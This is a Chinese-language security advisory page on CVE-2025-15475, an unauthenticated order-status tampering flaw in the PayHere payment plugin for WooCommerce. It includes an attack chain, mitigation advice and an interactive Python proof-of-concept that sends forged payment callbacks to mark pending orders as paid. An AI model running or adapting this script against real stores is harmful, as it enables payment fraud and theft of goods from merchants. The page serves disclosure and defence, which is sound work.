IPBUF安全漏洞报告
English
CVE-2025-15475 CVSS 5.3 中危

CVE-2025-15475 WordPress PayHere支付插件未授权订单状态篡改漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-15475
漏洞类型
业务逻辑漏洞
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PayHere Payment Gateway Plugin for WooCommerce (WordPress)

相关标签

CVE-2025-15475WordPressWooCommercePayHere业务逻辑漏洞未授权访问订单状态篡改支付漏洞访问控制绕过

漏洞概述

CVE-2025-15475是WordPress平台PayHere支付网关插件的一个高危安全漏洞。该插件用于WooCommerce电子商务系统处理斯里兰卡PayHere支付网关的集成。漏洞根源在于check_payhere_response函数中缺乏有效的验证逻辑,导致未经身份验证的远程攻击者可以任意修改待处理订单的状态。攻击者只需构造特定的HTTP请求,即可将WooCommerce中的pending(待处理)订单状态批量修改为paid(已支付)、completed(已完成)或on-hold(暂停处理)。此漏洞影响所有WordPress使用该插件的电子商务网站,攻击者可利用此漏洞进行虚假交易、绕过支付流程或造成财务数据混乱。由于CVSS评分为5.3(中等严重程度),且攻击复杂度低、无需认证即可利用,建议所有使用该插件的网站管理员立即采取修复措施。

技术细节

该漏洞存在于PayHere支付网关插件的check_payhere_response函数中(在gateway/class-wcgatewaypayhere.php第709行附近)。问题代码在处理PayHere支付网关回调时,未正确验证请求的合法性和完整性。具体缺陷包括:1) 缺少对回调参数的数字签名验证或HMAC校验;2) 未验证订单金额与实际支付金额的一致性;3) 未检查订单状态是否已被处理以防止重复请求;4) 缺少对回调来源IP的白名单验证。攻击者可以通过构造恶意请求,伪造支付成功回调,将待处理订单状态修改为已完成。由于WooCommerce订单状态直接关联库存扣减、邮件通知和物流触发,攻击者可通过此漏洞实现免费购物或虚假交易。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描使用PayHere Payment Gateway插件的WordPress/WooCommerce网站,确认插件版本小于等于2.3.9
STEP 2
步骤2: 构造恶意请求
攻击者构造恶意的支付回调请求,伪造订单ID、支付状态和签名参数,绕过check_payhere_response函数的验证逻辑
STEP 3
步骤3: 发送回调请求
攻击者通过HTTP GET/POST向目标网站的wc-api/wc_gateway_payhere端点发送恶意回调,无需任何认证信息
STEP 4
步骤4: 订单状态篡改
漏洞函数接收到恶意请求后,将待处理订单状态修改为paid/completed/on-hold,导致订单状态与实际支付不符
STEP 5
步骤5: 非法获利
攻击者利用修改后的订单状态获取商品或服务,造成商家财务损失;或批量操作扰乱商家财务数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15475 PoC - PayHere Payment Gateway Plugin Unauthorized Order Status Modification This PoC demonstrates how an unauthenticated attacker can modify WooCommerce order status through the vulnerable check_payhere_response function. """ import requests import json import sys TARGET_URL = "https://vulnerable-site.com/" TARGET_URL = input("Enter target URL: ").strip().rstrip("/") def send_malicious_callback(order_id, status): """ Send malicious callback to change order status The vulnerable plugin doesn't properly validate the callback request """ endpoint = f"{TARGET_URL}/?wc-api=wc_gateway_payhere" # Malicious callback parameters # The plugin checks 'status' parameter without proper validation payload = { 'order_id': order_id, 'status': status, # Can be: 'paid', 'completed', 'on-hold' 'merchant_id': 'malicious_merchant', 'payhere_amount': '0.01', # Minimal amount 'payhere_currency': 'LKR', 'payment_id': 'PAY' + str(order_id), 'md5sig': 'fake_signature' # Not properly validated } print(f"[*] Sending malicious callback for order {order_id}") print(f"[*] Attempting to change status to: {status}") try: response = requests.get(endpoint, params=payload, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): print("=" * 60) print("CVE-2025-15475 PoC - PayHere Payment Gateway for WooCommerce") print("Unauthenticated Order Status Modification") print("=" * 60) order_id = input("Enter target WooCommerce order ID: ").strip() if not order_id.isdigit(): print("[-] Invalid order ID. Please enter a numeric value.") sys.exit(1) print("\n[*] Available status changes:") print(" 1. paid - Change to Paid status") print(" 2. completed - Change to Completed status") print(" 3. on-hold - Change to On Hold status") choice = input("Select status (1/2/3): ").strip() status_map = {'1': 'paid', '2': 'completed', '3': 'on-hold'} status = status_map.get(choice, 'paid') response = send_malicious_callback(order_id, status) if response and response.status_code == 200: print("[+] Callback sent successfully!") print("[+] If the order exists and was pending, its status may have been changed.") print("\n[*] Mitigation: Upgrade PayHere Payment Gateway Plugin to version 2.4.0 or later") if __name__ == "__main__": main()

影响范围

PayHere Payment Gateway Plugin for WooCommerce <= 2.3.9

防御指南

临时缓解措施
建议立即将PayHere Payment Gateway插件升级至2.4.0或更高版本。在无法立即升级的情况下,可临时禁用PayHere支付网关或添加IP白名单限制仅允许PayHere服务器IP的回调请求。同时建议审查近期订单日志,排查是否存在异常的订单状态变更记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表